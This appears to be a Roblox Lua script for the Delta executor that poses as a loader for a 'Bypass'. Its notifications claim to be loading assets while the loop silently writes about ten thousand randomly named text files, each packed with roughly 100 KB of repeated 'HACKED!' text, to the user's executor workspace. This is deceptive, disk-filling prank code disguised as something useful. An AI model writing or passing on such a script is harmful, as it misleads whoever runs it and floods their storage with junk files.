local HttpService = game:GetService("HttpService") -- Notificação inicial game.StarterGui:SetCore("SendNotification", { Title = "Delta Executor", Text = "Wait for load assets...", Duration = 5 }) -- Função para gerar nomes aleatórios local function randomFileName(length) local chars = "abcdefghijklmnopqrstuvwxyz0123456789" local name = "" for _ = 1, length do local rand = math.random(1, #chars) name = name .. chars:sub(rand, rand) end return name end -- Função para gerar conteúdo grande (~128KB) local function generateLargeContent(sizeInKB) return string.rep("HACKED! ", sizeInKB * 100) end -- Loop principal task.delay(2, function() -- pequeno delay para deixar a notificação aparecer for run = 1, 100 do game.StarterGui:SetCore("SendNotification", { Title = "Delta Executor", Text = "Carregando your Bypass... [Rodada " .. run .. "/100]", Duration = 2 }) for i = 1, 100 do pcall(function() local name = randomFileName(math.random(5, 10)) .. ".txt" local content = generateLargeContent(128) writefile(name, content) end) end end wait(1) game.StarterGui:SetCore("SendNotification", { Title = "Delta Executor", Text = "Finished! <: see your workspace delta!!", Duration = 6 }) end)